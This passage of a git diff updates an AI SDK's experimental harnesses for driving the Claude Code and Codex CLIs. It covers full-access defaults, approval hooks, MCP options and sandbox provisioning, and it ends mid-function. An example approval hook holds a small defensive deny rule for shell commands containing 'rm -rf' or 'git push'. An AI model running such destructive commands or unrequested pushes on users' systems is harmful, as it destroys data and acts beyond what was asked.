`instructions` | Text added to the CLI's own system prompt. | `None` | +| `mcp_servers` | MCP servers: `{"name": {"command": ..., "args": [...], "env": {...}}}` or `{"name": {"url": ...}}`. Not stored in a `Handle`. | `None` | + +Every harness runs with full access unless an approval hook or its own +options restrict it. ### claude_code @@ -45,12 +50,23 @@ harnesses.claude_code( gateway=None, effort=None, executable="claude", + instructions=None, + mcp_servers=None, + tools=None, + disallowed_tools=None, + max_turns=None, ) ``` Claude Code. Needs the `claude-code` extra, and raises -`ai.errors.InstallationError` when it is missing. Takes only the shared -arguments. +`ai.errors.InstallationError` when it is missing. Takes the shared +arguments, plus: + +| Argument | Description | Default | +|---|---|---| +| `tools` | The built-in tools the agent has. `[]` for none. | `None`: all | +| `disallowed_tools` | Tools taken away. | `None` | +| `max_turns` | Most agent steps in one turn; hitting it settles as `"length"`. | `None` | ### codex @@ -66,6 +82,11 @@ harnesses.codex( gateway=None, effort=None, executable="codex", + instructions=None, + mcp_servers=None, + tools=None, + disallowed_tools=None, + max_turns=None, ) ``` @@ -74,8 +95,12 @@ arguments, plus: | Argument | Description | Default | |---|---|---| -| `sandbox` | Codex's own sandbox mode: `"read-only"`, `"workspace-write"`, or `"danger-full-access"`. On a provider-owned workspace, other values raise `UnsupportedError` on open. | `"read-only"` on `Local`, `"danger-full-access"` on a provider-owned workspace | -| `config` | Codex config overrides. Wins over values derived from `gateway` and `effort`, key by key. | `None` | +| `sandbox` | Codex's own sandbox mode: `"read-only"`, `"workspace-write"`, or `"danger-full-access"`. On a provider-owned workspace, other values raise `UnsupportedError` on open. | `"danger-full-access"` | +| `config` | Codex config overrides. Wins over values derived from `gateway`, `effort`, and `mcp_servers`, key by key. | `None` | + +`instructions` become Codex's developer instructions. It also takes +`tools`, `disallowed_tools`, and `max_turns`, and raises `UnsupportedError` +when one is set. `effort="max"` is sent to Codex as `"xhigh"`. @@ -113,8 +138,11 @@ Methods: - `await sessions()`: List the CLI's conversations in this workspace as `SessionInfo` values, including ones started outside the SDK. - `await history(session_id, *, limit=None, offset=0)`: Return a stored - transcript as `ai.messages.Message` values, tool calls included. -- `await resume(session_id)`: Continue an existing conversation. Raises + transcript as `ai.messages.Message` values, tool calls and files + included. `limit` and `offset` count those messages. +- `await resume(session_id)`: Continue an existing conversation. The + returned `Session`'s `messages` hold its past; run or stream on it as on + a new one. Raises `SessionBusyError` when another client holds it, and `ResumeFailedError` when it does not exist. - `await fork(session_id)`: Start a new conversation with the same past. The @@ -144,10 +172,17 @@ Methods: - `await run(prompt, *, output_type=None, retries=1, timeout=None)`: Send a prompt and wait for the turn to settle. Returns a `Result`. - `stream(prompt)`: Send a prompt and return a `Turn`. + +`prompt` is a `str`, or a list of `str`, `TextPart`, and `FilePart`. A +file the harness cannot take (see `images` and `documents` in +`Capabilities`) raises `UnsupportedError` before anything runs. Text files +are sent as text on every harness. A URL is downloaded on this machine. - `await steer(text)`: Send guidance to the running turn. Raises `RuntimeError` when no turn is running. -- `await stop()`: End the running turn. It settles as `"cancelled"`. -- `await reclaim()`: Settle a turn whose consumer stopped iterating. +- `await stop()`: End the running turn. It settles as `"cancelled"`. Safe + from any task; returns once the turn has settled. No-op when no turn runs. +- `await reclaim()`: Settle a turn whose consumer stopped iterating. `run()` + and `stream()` already do this, so you rarely need it. - `await close()`: Release the conversation so another client can resume it. - `output_type`: The SDK adds the type's JSON schema to the prompt, @@ -182,7 +217,7 @@ One settled turn. |---|---| | `finish_reason` | `"stop"`, `"cancelled"`, or `"length"` (Claude Code hit its turn limit). | | `text` | The agent's final message, after its last tool call. | -| `messages` | The conversation as of settling. | +| `messages` | The conversation as of settling: each tool call in an assistant message, then its result in a `"tool"` message. | | `usage` | [`ai.types.usage.Usage`](/docs/reference/types). Claude Code reports cost in `usage.raw["cost_usd"]`. | | `output` | The validated value when the turn ran with `output_type`. | | `prompt_sent` | Exactly what the agent received. | @@ -334,11 +369,12 @@ What a harness can do, declared before anything runs. Read it from | `resume` | Continue a conversation this process did not create: `resume()`, `harness_from()`. | yes | yes | | `fork` | Branch a conversation into a new one with the same past: `fork()`. | yes | yes | | `history` | Read stored transcripts in full, tool calls included: `history()`, `sessions()`. | yes | yes | -| `images` | The CLI accepts image input. `run()` and `stream()` send text only today. | yes | yes | +| `images` | Images in a prompt. | yes | yes | +| `documents` | PDFs in a prompt. | yes | no | | `rewrite_tool_input` | Rewrite a call's arguments before it runs: `Allow(input={...})`. | yes | no | | `deny_reason` | The reason in `Deny(reason)` reaches the agent. Without it the call is still denied, but the reason is dropped. | yes | no | | `remember_decisions` | Keep an approval for the rest of the session: `Allow(remember=True)`. | no | no | -| `approval` | Which tool calls reach the hook. `"policy"`: the CLI's own policy decides, so not every call does. | `"policy"` | `"policy"` | +| `approval` | Which tool calls reach the hook. `"all"`: every call, reads included. `"policy"`: the CLI's own policy decides, so not every call may. | `"all"` | `"policy"` | `approval` is an `ApprovalCoverage`: diff --git a/examples/harnesses/handoff.py b/examples/harnesses/handoff.py index 7ab2b626..061794d5 100644 --- a/examples/harnesses/handoff.py +++ b/examples/harnesses/handoff.py @@ -47,9 +47,7 @@ async def main() -> None: # 2. Codex picks it up — same directory, other harness. It knows # what was said AND what was done, and acts with its own tools. - async with harnesses.codex( - workspace=workspace, sandbox="workspace-write" - ) as agent: + async with harnesses.codex(workspace=workspace) as agent: result = await agent.run( "What is the deadline, and what did we put in notes.txt? " "Then append " + "'bread' to notes.txt. Reply in one line.", diff --git a/examples/harnesses/tool_approval.py b/examples/harnesses/tool_approval.py index 91a1e9bb..57749521 100644 --- a/examples/harnesses/tool_approval.py +++ b/examples/harnesses/tool_approval.py @@ -2,6 +2,10 @@ Without a hook every tool call runs: nobody is at a terminal to answer. With one, it asks you — and a denial's reason is delivered to the agent. + +One hook for both CLIs: Claude Code calls its shell `Bash` and its file +tools take `file_path`; Codex calls its shell `commandExecution` and its +edits `fileChange`. """ import asyncio @@ -10,14 +14,26 @@ from ai.harnesses import experimental as harnesses from ai.workspaces import experimental as workspaces +SHELL = {"Bash", "commandExecution"} + async def approve( ctx: harnesses.ApprovalContext, ) -> harnesses.Decision: print(f" [asking] {ctx.call.name} {ctx.call.input}") - target = ctx.call.input.get("file_path", "") - if target and not ctx.workspace.contains(target): - return harnesses.Deny("that path is outside the workspace") + if ctx.call.name in SHELL: + # A command is a string the agent wrote: matching on it is a speed + # bump, not isolation. For isolation, use a VercelSandbox. + command = str(ctx.call.input.get("command", "")) + if "rm -rf" in command or "git push" in command: + return harnesses.Deny("not that command") + return harnesses.Allow() + target = ctx.call.input.get("file_path") + if target: + # Resolve first: a symlink inside the workspace can point out of it. + real = await ctx.workspace.resolve(target) + if not ctx.workspace.contains(real): + return harnesses.Deny("that path is outside the workspace") return harnesses.Allow() diff --git a/skills/ai/references/harnesses.md b/skills/ai/references/harnesses.md index 795348dd..6082ad2c 100644 --- a/skills/ai/references/harnesses.md +++ b/skills/ai/references/harnesses.md @@ -21,11 +21,17 @@ brings its own tools, login, and session store. `ai.errors.InstallationError` at construction. `codex()` needs only the `codex` binary. - On `Local`, a missing CLI raises `ExecutableMissingError`. The SDK installs - CLIs only into a sandbox. -- Locally codex defaults to `sandbox="read-only"`, and in that mode it - declines writes without trying. Pass `sandbox="workspace-write"` when it - must edit files. In a sandbox leave it unset: other modes raise - `UnsupportedError`, because codex's own sandbox cannot start in the VM. + CLIs only into a sandbox, and there it installs or upgrades to the latest + npm release on open (not while a copy of the CLI is running there). +- Every harness has full access by default (claude: no permission prompts; + codex: `sandbox="danger-full-access"`). Restrict with `approve=`, codex's + `sandbox=` (on `Local` only; other modes raise `UnsupportedError` in a + sandbox), claude's `tools=`/`disallowed_tools=`, or a `VercelSandbox`. +- Shared options: `instructions=` (added to the CLI's system prompt) and + `mcp_servers=` (claude's shape: `{"name": {"command", "args", "env"}}` or + `{"name": {"url"}}`). Claude only: `tools=`, `disallowed_tools=`, + `max_turns=`. A `Handle` never stores `mcp_servers`: pass them again to + `harness_from`. - Open one harness per workspace and reuse it for many sessions. The CLI processes live as long as the `async with`. - A harness opens its workspace but never closes it. Use `async with` on the @@ -43,9 +49,17 @@ brings its own tools, login, and session store. `finish_reason == "cancelled"`. They do not raise, except that with `output_type=` a cancelled reply that does not validate raises `ValidationError`. -- To end a stream early, `await session.stop()` then `break`. A bare `break` - leaves the turn running; the next `session.run()` settles it, but a new - `session.stream()` waits until you call `await session.reclaim()`. +- To end a stream early, `break` or `await session.stop()`. Both stop the + agent and settle the turn as cancelled. `stop()` works from any task (a + Stop button) and returns once the turn has settled. +- `result.messages` reads in order: assistant message with the tool call, + then a `"tool"` message with its result. Safe to pass as `history=`. +- A prompt can be a list: `[ "describe this", ai.file_part(png) ]`. Images + on both, PDFs on claude only (`capabilities.documents`), `text/*` files on + both as text. Anything else raises `UnsupportedError` before the turn. +- To continue a stored conversation, `resume(id)` (its past is in + `session.messages`) and run or stream as usual. There is no separate + follow API; `history(id, limit=, offset=)` pages by message. - `steer` and `stop` live on the session, never the turn. Whether a steer interrupts work already in flight depends on the CLI; only rely on it being obeyed before the turn ends. @@ -57,15 +71,17 @@ brings its own tools, login, and session store. - No `approve=` hook means every tool call is allowed, not "ask the user". Pass a hook to restrict. -- The hook is a gate, not an audit log (`capabilities.approval == - "policy"`). Read-only tools never reach it. Read the event stream to see - every call. +- Claude Code's hook sees every call, reads included + (`capabilities.approval == "all"`). Codex's sees what its policy asks + about (`"policy"`): shell commands and file changes. Read the event + stream to see every call on any harness. - `ctx.call.name` and `ctx.call.input` are native. Claude uses `Bash`, `Write`, `Edit` with `file_path`. Codex uses `commandExecution` (the command is a string, often wrapped in `/bin/bash -lc`) and `fileChange`. In a sandbox codex often writes files through the shell. A hook for both harnesses must handle both dialects. Do not parse shell to judge - containment; use `ctx.workspace.contains(path)` on absolute paths. + containment; use `ctx.workspace.contains(await ctx.workspace.resolve(p))` + so a symlink cannot lead out. For real isolation use a `VercelSandbox`. - `harnesses.Deny("reason")` and `Deny(reason="reason")` are the same. - On codex (`deny_reason=False`) the reason never reaches the agent. `Allow(input=...)` works only on Claude. `Allow(remember=True)` works on diff --git a/src/ai/harnesses/experimental/_adapters/base.py b/src/ai/harnesses/experimental/_adapters/base.py index 2e89ba72..0d2bfb81 100644 --- a/src/ai/harnesses/experimental/_adapters/base.py +++ b/src/ai/harnesses/experimental/_adapters/base.py @@ -11,10 +11,11 @@ from __future__ import annotations +import posixpath from collections.abc import AsyncIterator, Awaitable, Callable from typing import TYPE_CHECKING, Any, Protocol -from .. import _approval, _capabilities +from .. import _approval, _capabilities, _cli_processes, _input if TYPE_CHECKING: from ....types import events, messages @@ -25,11 +26,48 @@ ] +async def provision( + workspace: _base.Workspace, executable: str, package: str +) -> _base.ExecResult: + """Probe the CLI; on a provider-owned workspace, make it the latest. + + Returns the final ` --version` result. On your own machine + this only probes: the SDK never installs software there. In a sandbox it + installs the CLI when it is missing, and upgrades it when npm has a + newer release — unless a copy of the CLI is running there (an agent + left running for a later reconnect), which an upgrade must not pull the + files out from under. + """ + probe = await workspace.exec([executable, "--version"], timeout=60) + if workspace.owner != "provider": + return probe + if probe.exit_code == 0: + latest = await workspace.exec( + ["npm", "view", package, "version"], timeout=120 + ) + newest = latest.stdout.strip() if latest.exit_code == 0 else "" + if not newest or newest in probe.stdout.split(): + return probe + for process in (await _cli_processes.processes(workspace)).values(): + if any( + posixpath.basename(arg) == executable or package in arg + for arg in process.argv[:2] + ): + return probe + await workspace.exec( + ["npm", "install", "-g", f"{package}@latest"], timeout=600 + ) + return await workspace.exec([executable, "--version"], timeout=60) + + class Adapter(Protocol): """One harness, driven natively.""" kind: str capabilities: _capabilities.Capabilities + verified_version: str | None + """The CLI version the live suite last passed against; an older CLI + gets a warning when the harness opens.""" @property def version(self) -> str | None: @@ -87,9 +125,13 @@ async def resume_session(self, session_id: str) -> None: ... async def close_session(self, session_id: str) -> None: ... def turn( - self, session_id: str, prompt: str + self, session_id: str, prompt: list[_input.Part] ) -> AsyncIterator[events.AgentEvent]: - """Drive one turn, yielding AI SDK events and ending with StreamEnd.""" + """Drive one turn, yielding AI SDK events and ending with StreamEnd. + + `prompt` holds text and the files the harness's capabilities admit; + the session has already checked them (`_input.check`). + """ ... async def prepare_tui(self) -> None: @@ -149,6 +191,8 @@ async def list_sessions(self) -> list[Any]: approve: ApprovalHook | None approval_timeout: float on_approval_error: Any + """Set by the harness: `on_approval_error(session_id, detail)` records a + hook that raised or timed out, for that session's turn to report.""" live_history: Any """Set by the harness: the live transcript of a session, for the approval diff --git a/src/ai/harnesses/experimental/_adapters/claude.py b/src/ai/harnesses/experimental/_adapters/claude.py index 8e18a1c3..1d795e7a 100644 --- a/src/ai/harnesses/experimental/_adapters/claude.py +++ b/src/ai/harnesses/experimental/_adapters/claude.py @@ -11,6 +11,7 @@ from __future__ import annotations import asyncio +import base64 import contextlib import json import uuid @@ -27,8 +28,8 @@ from .. import ( _approval, _capabilities, - _cli_processes, _handoff, + _input, _session, _session_lock, errors, @@ -39,12 +40,14 @@ from collections.abc import AsyncIterator KIND = "claude-code" -INSTALL = "npm install -g @anthropic-ai/claude-code" - -# Claude routes permission-worthy tool calls through can_use_tool. Read-only -# tools never reach it — verified by running with setting_sources=[] so no -# user config was loaded, and Read still did not appear. That is the CLI's -# own policy, so coverage is "policy", not "all". +PACKAGE = "@anthropic-ai/claude-code" +INSTALL = f"npm install -g {PACKAGE}" +VERIFIED_VERSION = "2.1.289" +"""The CLI the live suite last passed against. Older ones get a warning.""" + +# The approval hook runs as a PreToolUse hook, which sees every tool call, +# read-only ones included (measured). The permission callback alone +# (`can_use_tool`) never saw Read: that was "policy" coverage. CAPABILITIES = _capabilities.Capabilities( steer=True, stop=True, @@ -54,13 +57,15 @@ rewrite_tool_input=True, deny_reason=True, images=True, - approval="policy", + documents=True, + approval="all", ) class ClaudeAdapter: kind = KIND capabilities = CAPABILITIES + verified_version: str | None = VERIFIED_VERSION def __init__( self, @@ -68,9 +73,19 @@ def __init__( model: str | None = None, gateway: _gateway.Gateway | None = None, effort: str | None = None, + instructions: str | None = None, + mcp_servers: dict[str, Any] | None = None, + tools: list[str] | None = None, + disallowed_tools: list[str] | None = None, + max_turns: int | None = None, ) -> None: self._executable = executable self._model = model + self._instructions = instructions + self._mcp_servers = dict(mcp_servers or {}) + self._tools = tools + self._disallowed_tools = list(disallowed_tools or []) + self._max_turns = max_turns self._gateway = gateway self._gateway_env: dict[str, str] = gateway_env(gateway) self._effort = effort @@ -89,9 +104,14 @@ def __init__( # result after an interrupt, and a stop the caller asked for must # settle as cancelled rather than raise as a failure. self._interrupted: set[str] = set() + # Sessions whose CLI turn is running: prompted, no ResultMessage yet. + # A steer outside one would start a turn of its own (measured). + self._running: set[str] = set() # See codex: an error raised inside the permission callback cannot - # reach the caller, so it is parked and re-raised on the turn. - self._pending_error: BaseException | None = None + # reach the caller, so it is parked and re-raised on the turn — the + # turn of THAT session, keyed by it, so another session's turn + # neither clears it nor raises it. + self._pending_error: dict[str, BaseException] = {} self.approve: base.ApprovalHook | None = None self.approval_timeout: float = 300.0 self.on_approval_error: Any = None @@ -147,11 +167,7 @@ async def start( gateway = gateway.brokered() self._gateway = gateway self._gateway_env = gateway_env(gateway) - probe = await self._probe(workspace) - if probe.exit_code != 0 and workspace.owner == "provider": - # Ours to provision. Never on a user's own machine. - await workspace.exec(["sh", "-c", INSTALL], timeout=600) - probe = await self._probe(workspace) + probe = await base.provision(workspace, self._executable, PACKAGE) self._config_dir = await claude_store.config_dir(workspace) if workspace.kind != "local": self._store = await claude_store.WorkspaceSessionStore.discover( @@ -163,9 +179,6 @@ async def start( self._workspace = workspace self._lock = _session_lock.SessionLock(workspace, KIND) - async def _probe(self, workspace: _base.Workspace) -> _base.ExecResult: - return await workspace.exec([self._executable, "--version"], timeout=60) - async def close(self) -> None: for session_id in list(self._clients): await self.close_session(session_id) @@ -204,6 +217,7 @@ async def stage_history(self, history: list[messages_.Message]) -> str: """ assert self._workspace is not None session_id = str(uuid.uuid4()) + _handoff.warn_unsupported_files(history, KIND) dropped = _handoff.reasoning_count(history) if dropped: warnings.warn( @@ -328,6 +342,18 @@ async def prepare_tui(self) -> None: config = json.loads(await self._workspace.read_text(path)) except (FileNotFoundError, ValueError): config = {} + if not isinstance(config, dict) or not isinstance( + config.get("projects", {}), dict + ): + # A shape this SDK was not verified against (see + # VERIFIED_VERSION): leave the CLI's file alone rather than + # rewrite it; the TUI may open on a setup screen. + warnings.warn( + f"{path} is not in the shape claude {VERIFIED_VERSION} " + + "writes; first-run setup was skipped", + stacklevel=2, + ) + return # Two gates: the global onboarding walk, and a PER-PROJECT trust # dialog ("do you trust the files in this folder?") that appears the # first time the TUI opens in a directory. Both must be marked done, @@ -378,6 +404,17 @@ def tui_launch( ) if self._model: argv += ["--model", self._model] + if self._instructions: + argv += ["--append-system-prompt", self._instructions] + if self._mcp_servers: + argv += [ + "--mcp-config", + json.dumps({"mcpServers": self._mcp_servers}), + ] + if self._tools is not None: + argv += ["--tools", ",".join(self._tools)] + if self._disallowed_tools: + argv += ["--disallowedTools", ",".join(self._disallowed_tools)] # DISABLE_AUTOUPDATER: measured, the TUI otherwise updates itself in # the background and announces "Restart to apply" mid-session. env = { @@ -419,34 +456,27 @@ async def _cli_sessions(self) -> dict[str, int]: The CLI records each of its processes in /sessions/.json, with the conversation it is on and when it started (`procStart`, in UTC, as `ps` prints it). A record whose process is gone, or whose pid - now names a later process, is left behind, not a holder. + now names a later process, is left behind, not a holder. All of it + is read in ONE command in the workspace: a sandbox listing several + sessions used to cost a round trip per record. """ assert self._workspace is not None and self._config_dir is not None - directory = f"{self._config_dir}/sessions" - listing = await self._workspace.exec(["ls", directory], timeout=30) - names = [ - name - for name in listing.stdout.split() - if listing.exit_code == 0 and name.endswith(".json") - ] - if not names: + result = await self._workspace.exec( + ["python3", "-c", _CLI_SESSIONS, f"{self._config_dir}/sessions"], + env={"TZ": "UTC", "LC_ALL": "C"}, + timeout=30, + ) + if result.exit_code != 0: return {} - running = await _cli_processes.processes(self._workspace) - held: dict[str, int] = {} - for name in names: - try: - record = json.loads( - await self._workspace.read_text(f"{directory}/{name}") - ) - pid, session_id = int(record["pid"]), str(record["sessionId"]) - except (FileNotFoundError, ValueError, KeyError, TypeError): - continue - process = running.get(pid) - if process is not None and process.started == record.get( - "procStart" - ): - held[session_id] = pid - return held + try: + found = json.loads(result.stdout.strip().splitlines()[-1]) + except (ValueError, IndexError): + return {} + return { + str(sid): int(pid) + for sid, pid in found.items() + if isinstance(pid, int) + } async def close_session(self, session_id: str) -> None: client = self._clients.pop(session_id, None) @@ -478,6 +508,21 @@ async def _connect(self, session_id: str, *, resume: str | None) -> None: options["env"] = env if self._model: options["model"] = self._model + if self._instructions: + # Added to Claude Code's own system prompt, never replacing it. + options["system_prompt"] = { + "type": "preset", + "preset": "claude_code", + "append": self._instructions, + } + if self._mcp_servers: + options["mcp_servers"] = self._mcp_servers + if self._tools is not None: + options["tools"] = self._tools + if self._disallowed_tools: + options["disallowed_tools"] = self._disallowed_tools + if self._max_turns is not None: + options["max_turns"] = self._max_turns if self._effort: # Reasoning effort, with adaptive thinking so the budget follows # it. The CLI's own default applies when none is asked for. @@ -493,6 +538,18 @@ async def _connect(self, session_id: str, *, resume: str | None) -> None: # working when nobody is. `approve=` is how you restrict it — and it # means the controller must stay alive to answer. if self.approve is not None: + options["hooks"] = { + "PreToolUse": [ + claude_agent_sdk.HookMatcher( + matcher=None, + hooks=[self._make_pre_tool_use(session_id)], + # The CLI's own hook deadline (60s by default) must + # not cut a slow approval short: ours, which denies, + # comes first. + timeout=self.approval_timeout + 30, + ) + ] + } options["can_use_tool"] = self._make_can_use_tool(session_id) else: options["permission_mode"] = "bypassPermissions" @@ -517,6 +574,53 @@ def _client(self, session_id: str) -> Any: return client # -- approval ------------------------------------------------------------- + # + # The hook is installed as a PreToolUse hook: measured (claude 2.1.289), + # it sees EVERY tool call — Read, a read-only Bash, Write — where the + # permission callback (`can_use_tool`) only sees the ones the CLI's own + # policy asks about (Write). Its decisions map one to one: "allow", + # "allow" with `updatedInput`, "deny" with a reason the agent reads, and + # `continue: false` to end the turn. A hook that allows a call is the + # permission, so the CLI does not ask again; `can_use_tool` stays + # installed only as a safety net that applies the same judgment. + + def _make_pre_tool_use(self, session_id: str) -> Any: + async def pre_tool_use( + data: Any, tool_use_id: str | None, ctx: Any + ) -> Any: + try: + decision = await self._judge( + session_id, + str(data.get("tool_name") or ""), + dict(data.get("tool_input") or {}), + tool_use_id=tool_use_id or data.get("tool_use_id"), + agent_id=data.get("agent_id") or None, + hints={}, + ) + except Exception as exc: + self._record_error(session_id, f"{type(exc).__name__}: {exc}") + decision = _approval.Deny("approval failed; denied") + output: dict[str, Any] = { + "hookEventName": "PreToolUse", + "permissionDecision": ( + "allow" if isinstance(decision, _approval.Allow) else "deny" + ), + } + if isinstance(decision, _approval.Deny): + output["permissionDecisionReason"] = ( + decision.reason or "denied by policy" + ) + if decision.stop: + return { + "continue_": False, + "stopReason": decision.reason or "denied by policy", + "hookSpecificOutput": output, + } + elif decision.input is not None: + output["updatedInput"] = decision.input + return {"hookSpecificOutput": output} + + return pre_tool_use def _make_can_use_tool( self, session_id: str @@ -530,35 +634,58 @@ async def can_use_tool( # ours must deny and be reported, never vanish into the agent as # an opaque internal error. try: - return await self._decide(session_id, name, tool_input, ctx) + decision = await self._judge( + session_id, + name, + dict(tool_input), + tool_use_id=getattr(ctx, "tool_use_id", None), + agent_id=getattr(ctx, "agent_id", None), + hints={"blocked_path": getattr(ctx, "blocked_path", None)}, + ) except Exception as exc: - self._record_error(f"{type(exc).__name__}: {exc}") + self._record_error(session_id, f"{type(exc).__name__}: {exc}") return claude_agent_sdk.PermissionResultDeny( message="approval failed; denied" ) + if isinstance(decision, _approval.Deny): + return claude_agent_sdk.PermissionResultDeny( + message=decision.reason or "denied by policy", + interrupt=decision.stop, + ) + return claude_agent_sdk.PermissionResultAllow( + updated_input=decision.input + ) return can_use_tool - async def _decide( + async def _judge( self, session_id: str, name: str, tool_input: dict[str, Any], - ctx: claude_agent_sdk.ToolPermissionContext, - ) -> claude_agent_sdk.PermissionResult: + *, + tool_use_id: str | None, + agent_id: str | None, + hints: dict[str, Any], + ) -> _approval.Decision: + """Ask the hook about one call; always come back with a decision. + + A hook that fails or runs out of time denies (a gate that fails open + is not a gate) and is reported. A decision this harness cannot honor + denies and is parked to raise on the turn. + """ assert ( self.approve is not None ), "the gate is only installed with a hook" assert self._workspace is not None call = _approval.ToolCall( - id=getattr(ctx, "tool_use_id", None) - or f"call-{uuid.uuid4().hex[:12]}", - # The VERIFIED native name, from the SDK's own callback — + id=tool_use_id or f"call-{uuid.uuid4().hex[:12]}", + # The VERIFIED native name, from the CLI's own callback — # never display text an agent can influence. name=name, - input=dict(tool_input), - agent_id=getattr(ctx, "agent_id", None), - hints={"blocked_path": getattr(ctx, "blocked_path", None)}, + input=tool_input, + agent_id=agent_id, + hints=hints, raw={"tool_name": name, "input": tool_input}, ) request = _approval.ApprovalContext( @@ -569,56 +696,43 @@ async def _decide( session_id=session_id, prompt=self._contexts.get(session_id, {}).get("prompt"), ) - assert self.approve is not None try: async with asyncio.timeout(self.approval_timeout): decision = await self.approve(request) except (Exception, TimeoutError) as exc: - # An approval gate that fails open is not a gate. - self._record_error(f"{type(exc).__name__}: {exc}") - return claude_agent_sdk.PermissionResultDeny( - message="approval hook failed; denied" - ) + self._record_error(session_id, f"{type(exc).__name__}: {exc}") + return _approval.Deny("approval hook failed; denied") if isinstance(decision, _approval.Deny): if decision.stop: - # We are ending this turn on purpose. The CLI reports an - # error result after an interrupt, so remember that we asked - # for it and settle as cancelled instead of raising. + # We are ending this turn on purpose. Remember that we asked + # for it, so it settles as cancelled rather than as a + # failure or a normal stop. self._interrupted.add(session_id) - return claude_agent_sdk.PermissionResultDeny( - message=decision.reason or "denied by policy", - interrupt=decision.stop, - ) + return decision if isinstance(decision, _approval.Allow): if decision.remember: # Parked and re-raised on the turn: an unsupported request # must reach the CALLER, and an exception thrown inside the - # harness's permission callback does not. - self._pending_error = errors.UnsupportedError( + # CLI's callback does not. + self._pending_error[session_id] = errors.UnsupportedError( KIND, "remember", "session-scoped permission rules do not suppress the next " + "identical request, and the alternative would silently " + "widen authority to all edits", ) - return claude_agent_sdk.PermissionResultDeny( - message="remember is unsupported here" - ) - return claude_agent_sdk.PermissionResultAllow( - updated_input=decision.input - ) - return claude_agent_sdk.PermissionResultDeny( - message="approval hook returned no decision" - ) + return _approval.Deny("remember is unsupported here") + return decision + return _approval.Deny("approval hook returned no decision") - def _record_error(self, detail: str) -> None: + def _record_error(self, session_id: str, detail: str) -> None: if callable(self.on_approval_error): - self.on_approval_error(detail) + self.on_approval_error(session_id, detail) # -- turns ---------------------------------------------------------------- async def turn( - self, session_id: str, prompt: str + self, session_id: str, prompt: list[_input.Part] ) -> AsyncIterator[events_.AgentEvent]: client = self._client(session_id) turn_session_id = session_id @@ -628,103 +742,120 @@ async def turn( # previous turn's ending. await self._drain_interrupted(session_id) state = self._contexts.setdefault(session_id, {"prompt": None}) - state["prompt"] = prompt + state["prompt"] = _input.text(prompt) + content = await _content(prompt) parts: list[Any] = [] names: dict[str, str] = {} open_blocks: dict[int, str] = {} text_so_far: list[str] = [] - self._pending_error = None + self._pending_error.pop(session_id, None) try: - await client.query(prompt) + if isinstance(content, str): + await client.query(content) + else: + await client.query(_one_message(content)) except claude_agent_sdk.ClaudeSDKError as exc: raise _translate(exc) from exc - # StreamStart only once the CLI has answered for this turn — its - # first message is proof it READ the prompt. "Written to the - # transport" is not: in a sandbox the prompt travels through an - # interactive session into the CLI's stdin, and a detach right after - # the write closed that session with the prompt still in transit - # (measured: an unattended push whose agent never saw its prompt). - # A consumer may act on the first event; it must mean the turn is live. - started = False - async for message in _guard(client.receive_response()): - if not started: - started = True - yield events_.StreamStart() - if isinstance(message, claude_agent_sdk.StreamEvent): - # Text and reasoning stream here, token by token. The - # complete AssistantMessage that follows repeats them, so - # only tool calls are taken from it. - for event in _stream_events(message.event, open_blocks): - if isinstance(event, events_.TextDelta): - text_so_far.append(event.chunk) - yield event - elif isinstance(message, claude_agent_sdk.AssistantMessage): - for block in message.content: - if ( - isinstance(block, claude_agent_sdk.TextBlock) - and block.text + self._running.add(session_id) + try: + # StreamStart only once the CLI has answered for this turn — its + # first message is proof it READ the prompt. "Written to the + # transport" is not: in a sandbox the prompt travels through an + # interactive session into the CLI's stdin, and a detach right + # after the write closed that session with the prompt still in + # transit (measured: an unattended push whose agent never saw its + # prompt). A consumer may act on the first event; it must mean + # the turn is live. + started = False + async for message in _guard(client.receive_response()): + if not started: + started = True + yield events_.StreamStart() + if isinstance(message, claude_agent_sdk.StreamEvent): + # Text and reasoning stream here, token by token. The + # complete AssistantMessage that follows repeats them, so + # only tool calls are taken from it. + for event in _stream_events(message.event, open_blocks): + if isinstance(event, events_.TextDelta): + text_so_far.append(event.chunk) + yield event + elif isinstance(message, claude_agent_sdk.AssistantMessage): + for block in message.content: + if ( + isinstance(block, claude_agent_sdk.TextBlock) + and block.text + ): + parts.append(messages_.TextPart(text=block.text)) + elif isinstance(block, claude_agent_sdk.ToolUseBlock): + # tool_args is a JSON STRING in the AI SDK's model, + # not a mapping. + call = messages_.ToolCallPart( + tool_call_id=block.id, + tool_name=block.name, + tool_args=json.dumps(block.input), + ) + names[block.id] = block.name + parts.append(call) + yield events_.ToolStart( + tool_call_id=block.id, tool_name=block.name + ) + # claude-agent-sdk hands over a complete block, so + # the call's arguments are final the moment it + # arrives — but they still travel as a delta. The + # hydrator builds a call's arguments ONLY from + # ToolDeltas and then replaces ToolEnd.tool_call + # with its own copy, so without this one chunk every + # consumer, and the session's own history, saw + # tool_args="". + yield events_.ToolDelta( + tool_call_id=block.id, chunk=call.tool_args + ) + yield events_.ToolEnd( + tool_call_id=block.id, tool_call=call + ) + elif isinstance(message, claude_agent_sdk.UserMessage): + for block in ( + message.content + if isinstance(message.content, list) + else [] ): - parts.append(messages_.TextPart(text=block.text)) - elif isinstance(block, claude_agent_sdk.ToolUseBlock): - # tool_args is a JSON STRING in the AI SDK's model, - # not a mapping. - call = messages_.ToolCallPart( - tool_call_id=block.id, - tool_name=block.name, - tool_args=json.dumps(block.input), - ) - names[block.id] = block.name - parts.append(call) - yield events_.ToolStart( - tool_call_id=block.id, tool_name=block.name - ) - # claude-agent-sdk hands over a complete block, so the - # call's arguments are final the moment it arrives — - # but they still travel as a delta. The hydrator - # builds a call's arguments ONLY from ToolDeltas and - # then replaces ToolEnd.tool_call with its own copy, - # so without this one chunk every consumer, and the - # session's own history, saw tool_args="". - yield events_.ToolDelta( - tool_call_id=block.id, chunk=call.tool_args - ) - yield events_.ToolEnd( - tool_call_id=block.id, tool_call=call - ) - elif isinstance(message, claude_agent_sdk.UserMessage): - for block in ( - message.content if isinstance(message.content, list) else [] - ): - if isinstance(block, claude_agent_sdk.ToolResultBlock): - result = messages_.ToolResultPart( - tool_call_id=block.tool_use_id, - tool_name=names.get(block.tool_use_id, ""), - result=block.content, - result_kind="error" if block.is_error else "json", - ) - # Tool results are their own message in the AI SDK's - # model (role "tool"), not parts of the assistant's. - yield events_.ToolCallResult( - message=messages_.Message( - role="tool", parts=[result] - ), - results=[result], - ) - elif isinstance(message, claude_agent_sdk.ResultMessage): - assistant = messages_.Message(role="assistant", parts=parts) - if self._pending_error is not None: - error, self._pending_error = self._pending_error, None - raise error - interrupted = turn_session_id in self._interrupted - self._interrupted.discard(turn_session_id) - yield events_.StreamEnd( - message=assistant, - usage=_usage(message), - finish_reason=_finish_reason( - message, interrupted=interrupted, 